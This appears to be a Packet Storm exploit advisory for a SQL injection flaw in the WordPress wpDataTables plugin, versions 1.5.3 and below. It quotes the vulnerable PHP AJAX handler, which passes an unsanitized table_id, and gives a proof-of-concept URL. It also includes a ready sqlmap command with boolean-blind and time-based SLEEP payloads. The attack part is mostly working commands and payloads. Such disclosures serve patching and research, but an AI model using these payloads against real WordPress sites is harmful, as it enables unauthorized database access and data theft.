Twenty Year Anniversary

WordPress wpDataTables 1.5.3 SQL Injection

WordPress wpDataTables 1.5.3 SQL Injection
Posted Nov 23, 2014
Authored by Claudio Viviani

WordPress wpDataTables plugin versions 1.5.3 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | a123a81e0deb2d9ce416a908c9bbca83

WordPress wpDataTables 1.5.3 SQL Injection

Change Mirror Download
######################

# Exploit Title : Wordpress wpDataTables 1.5.3 and below SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Software Link : http://wpdatatables.com (Premium)

# Date : 2014-11-22

# Tested on : Windows 7 / Mozilla Firefox
Windows 7 / sqlmap (0.8-1)
Linux / Mozilla Firefox
Linux / sqlmap 1.0-dev-5b2ded0

######################


# Description

Wordpress wpDataTables 1.5.3 and below suffers from SQL injection vulnerability

"table_id" variable is not sanitized.

File: wpdatatables.php
------------------------
// AJAX-handlers
add_action( 'wp_ajax_get_wdtable', 'wdt_get_ajax_data' );
add_action( 'wp_ajax_nopriv_get_wdtable', 'wdt_get_ajax_data' );

/**
* Handler which returns the AJAX response
*/
function wdt_get_ajax_data(){
$id = $_GET['table_id']; <------------------- Not Sanitized!
$table_data = wdt_get_table_by_id( $id );
$column_data = wdt_get_columns_by_table_id( $id );
$column_headers = array();
$column_types = array();
$column_filtertypes = array();
$column_inputtypes = array();
foreach($column_data as $column){
$column_order[(int)$column->pos] = $column->orig_header;
if($column->display_header){
$column_headers[$column->orig_header] = $column->display_header;
}
if($column->column_type != 'autodetect'){
$column_types[$column->orig_header] = $column->column_type;
}else{
$column_types[$column->orig_header] = 'string';
}
$column_filtertypes[$column->orig_header] = $column->filter_type;
$column_inputtypes[$column->orig_header] = $column->input_type;
}
------------------------

(The vulnerable variable is located in others php files)


######################

# PoC

http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 [Sqli]

# Sqlmap

sqlmap -u "http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1" -p table_id --dbms mysql

---
Parameter: table_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=get_wdtable&table_id=1 AND 9029=9029

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: action=get_wdtable&table_id=1 AND SLEEP(5)

---


#####################

Discovered By : Claudio Viviani
http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close